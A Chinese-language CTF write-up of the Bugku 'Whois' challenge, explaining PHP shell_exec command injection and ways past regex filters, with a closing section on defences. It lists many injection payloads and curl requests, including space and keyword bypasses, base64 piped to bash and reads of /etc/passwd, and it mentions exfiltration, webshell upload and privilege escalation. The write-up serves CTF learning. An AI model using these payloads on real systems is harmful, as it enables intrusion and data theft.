1. 题目背景与初步分析
"Whois"这道CTF题目来自Bugku平台,属于典型的Web安全挑战。从题目名称和热词关联来看,这很可能是一个涉及域名信息查询(Whois)与PHP代码执行的综合题型。这类题目通常会考察以下几个技术点:
- Whois协议的基本工作原理
- PHP中执行系统命令的函数(如shell_exec)
- 正则表达式在安全过滤中的应用
- 命令注入的常见防御与绕过技巧
在实际CTF比赛中,Whois类题目往往需要选手通过精心构造的输入,利用服务器对whois查询结果的处理漏洞,最终获取flag或实现远程代码执行。根据我的参赛经验,这类题目的突破点通常出现在以下几个环节:
- 输入验证不严格导致命令注入
- 正则表达式过滤存在逻辑缺陷
- 返回结果处理时存在信息泄露
- 权限控制不当导致提权可能
2. Whois协议基础与相关工具
Whois是一种用于查询域名注册信息的TCP协议,默认使用43端口。在Linux系统中,我们可以通过以下方式使用whois命令:
whois example.com在PHP环境中,开发者可能会使用以下方式集成whois查询功能:
$domain = $_GET['domain']; $result = shell_exec("whois $domain"); echo $result;这种实现方式看似简单,但隐藏着严重的安全风险。当用户输入的$domain参数未经严格过滤就直接拼接进shell命令时,攻击者可以通过注入特殊字符(如;、|、&等)执行任意命令。
实际CTF环境中,题目往往会设置一些基础的过滤机制,这就需要我们研究如何绕过这些安全限制。
3. 常见命令注入技术分析
在解决"Whois"这类题目时,我们需要系统性地尝试各种命令注入技术。以下是几种典型的测试方法:
3.1 基础注入测试
首先尝试最简单的命令分隔符:
example.com; ls如果分号被过滤,可以尝试其他分隔符:
example.com && ls example.com | ls example.com || ls3.2 绕过空格限制
当空格被过滤时,可以使用以下替代方案:
example.com;cat${IFS}/etc/passwd example.com;cat</etc/passwd example.com;{cat,/etc/passwd}3.3 绕过关键词过滤
如果常见命令如cat、ls被过滤,可以尝试:
- 使用反斜杠转义:c\at
- 使用变量替换:a=c;b=a;c=t;$a$b$c
- 使用通配符:/???/c?t
- 使用base64编码:
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
4. PHP正则表达式过滤与绕过
从热词分析来看,这道题目很可能涉及PHP正则表达式的使用。开发者可能会用preg_match等函数进行输入过滤:
if(preg_match('/[;&|]/', $domain)) { die('非法字符!'); }针对这种过滤,我们可以尝试以下绕过方法:
4.1 使用未过滤的字符
example.com%0als example.com$(ls) example.com`ls`4.2 编码绕过
example.com$(printf "\x6c\x73") example.com$(echo "ls" | xxd -r -p)4.3 利用环境变量
example.com${PATH:0:1}${PATH:1:1}5. 实战解题步骤
基于以上分析,我建议按照以下步骤尝试解决这道题目:
基础信息收集:
- 访问题目提供的URL,查看页面源代码
- 尝试提交基础whois查询,观察返回结果格式
- 使用Burp Suite拦截请求,分析参数传递方式
注入测试:
# 测试命令分隔符 curl 'http://target.com/?domain=example.com;ls' # 测试空格绕过 curl 'http://target.com/?domain=example.com;cat${IFS}flag.php' # 测试关键词过滤绕过 curl 'http://target.com/?domain=example.com;c\at${IFS}fla*.php'结果处理:
- 如果返回结果中包含部分命令输出但被截断,尝试使用curl将结果外带
- 如果命令执行成功但无回显,尝试延时判断(sleep 5)
- 使用DNS外带技术确认命令执行
获取flag:
- 通常flag位于当前目录或/var/www/html下
- 尝试读取源代码:
cat index.php - 如果遇到权限问题,尝试查找可写目录上传webshell
6. 防御措施与安全建议
从防御角度,开发者应该:
- 避免直接使用shell_exec等危险函数
- 使用escapeshellarg处理所有用户输入
- 实施白名单验证域名格式
- 使用专门的whois库而非系统命令
- 设置PHP的disable_functions关闭危险函数
安全示例代码:
function safe_whois($domain) { if(!preg_match('/^[a-z0-9\-\.]+$/i', $domain)) { return false; } $clean_domain = escapeshellarg($domain); return shell_exec("whois $clean_domain"); }7. 进阶技巧与经验分享
在实际CTF比赛中,我总结出几个有用的技巧:
- 多角度测试:不要局限于一种注入方式,尝试各种分隔符和编码组合
- 环境探测:执行
env命令了解服务器环境,有助于针对性构造payload - 文件定位:使用
find / -name "*flag*"快速定位目标文件 - 权限提升:检查sudo权限、SUID文件等提权可能性
- 日志分析:查看/var/log/下的日志文件获取额外信息
一个典型的完整payload可能如下:
example.com;cat$(printf "\x20")/var/www/html/fla*.php这种payload结合了命令分隔符、空格绕过和通配符技术,能够有效绕过基础的过滤机制。